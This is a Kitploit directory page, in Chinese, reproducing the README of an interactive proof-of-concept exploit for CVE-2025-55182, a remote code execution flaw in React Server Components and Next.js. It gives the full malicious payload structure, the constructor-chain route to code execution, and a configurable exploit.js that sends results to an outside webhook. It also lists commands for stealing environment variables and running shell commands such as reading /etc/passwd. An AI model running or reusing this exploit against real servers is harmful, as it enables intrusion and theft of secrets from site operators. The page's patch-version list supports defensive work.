Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
react2shell-interactive — CVE-2025-55182 交互式 PoC - React Server Components RCE - 教育性安全研究 | Kitploit
工具/GitHubGitHub/nathanj60/react2shell-interactive
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试命令与控制学习与教育远程访问工具Payload 开发
GitHubnathanj60/react2shell-interactive

react2shell-interactive

CVE-2025-55182 交互式 PoC - React Server Components RCE - 教育性安全研究

查看仓库
29个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

React2Shell - CVE-2025-55182 交互式 PoC

用于利用 CVE-2025-55182 的交互式 shell,该漏洞是 React Server Components 中的一个远程代码执行漏洞。

免责声明

本工具仅供教育和授权安全测试使用。

  • 仅可在您拥有或已获得明确书面许可的系统上使用
  • 未经授权访问计算机系统属于违法行为
  • 作者不对任何滥用本工具的行为负责
  • 这是一个用于安全研究和意识提升的概念验证(PoC)

漏洞概述

CVE-2025-55182 影响以下环境中的 React Server Components (RSC):

  • Next.js < 15.1.7、< 14.2.29、< 13.5.9
  • Waku(多个版本)

该漏洞允许攻击者通过发送到 Server Actions 的恶意载荷实现远程代码执行(RCE)。

工作原理

  1. RSC 协议使用 $@x 语法来引用内部 Chunk 对象
  2. JavaScript 会自动解包带有 .then() 方法的对象(类似 Promise)
  3. 通过构造包含受控 _response、_formData 和 _prefix 属性的恶意载荷
  4. 攻击者可以通过原型链遍历到达 构造函数
Function
  • 这允许在服务器上执行任意 JavaScript
  • root@kitploit:~
    $3:constructor:constructor → Function constructor → RCE
    

    安装

    root@kitploit:~
    git clone https://github.com/NathanJ60/react2shell-interactive.git
    cd react2shell-interactive
    npm install
    

    配置

    编辑 exploit.js 并更新以下值:

    root@kitploit:~
    const TARGET_URL = 'http://localhost:3000/'          // Vulnerable Next.js server
    const WEBHOOK_URL = 'https://webhook.site/YOUR-ID'   // Your webhook URL
    

    在 https://webhook.site 获取免费 webhook

    使用方法

    root@kitploit:~
    node exploit.js
    

    命令

    命令描述
    !test测试漏洞利用是否有效(向 webhook 发送确认)
    !env窃取环境变量 (process.env)
    !js <code>执行自定义 JavaScript
    !help显示帮助
    !exit退出
    <command>执行 shell 命令(例如 whoami、ls、cat /etc/passwd)

    示例会话

    root@kitploit:~
    react2shell> !test
    [+] Sent! Check webhook
    
    react2shell> whoami
    [+] Sent: whoami
    
    react2shell> ls -la
    [+] Sent: ls -la
    
    react2shell> !env
    [+] Sent! Check webhook for env vars
    

    结果会出现在您的 webhook 中,而不是终端中。

    技术细节

    载荷结构

    root@kitploit:~
    {
        '0': '$1',
        '1': {
            'status': 'resolved_model',
            'reason': 0,
            '_response': '$4',
            'value': '{"then":"$3:map","0":{"then":"$B3"},"length":1}',
            'then': '$2:then'
        },
        '2': '$@3',
        '3': [],
        '4': {
            '_prefix': '<JAVASCRIPT_CODE>//',
            '_formData': { 'get': '$3:constructor:constructor' },
            '_chunks': '$2:_response:_chunks'
        }
    }
    

    执行流程

    1. Payload 以 multipart 表单数据形式发送,并带有 next-action 头部
    2. React Flight 解析器处理这些 chunks
    3. $@3 创建一个 Chunk 引用
    4. $3:constructor:constructor 遍历到 Function
    5. _prefix 的内容被传递给 Function() 并执行

    Next.js 15+ 注意事项

    • 使用 ESM 模块,因此 require() 不可用
    • 请改用动态 import():
      root@kitploit:~
      import("child_process").then(cp => cp.execSync("whoami"))
      

    已修补版本

    升级到以下版本以修复该漏洞:

    • Next.js >= 15.1.7
    • Next.js >= 14.2.29
    • Next.js >= 13.5.9

    参考资料

    • React2Shell 官方网站
    • Google Tsunami 扫描器插件

    许可证

    MIT 许可证 - 仅用于教育目的。

    作者

    安全研究 PoC - 请负责任地使用。

    下载工具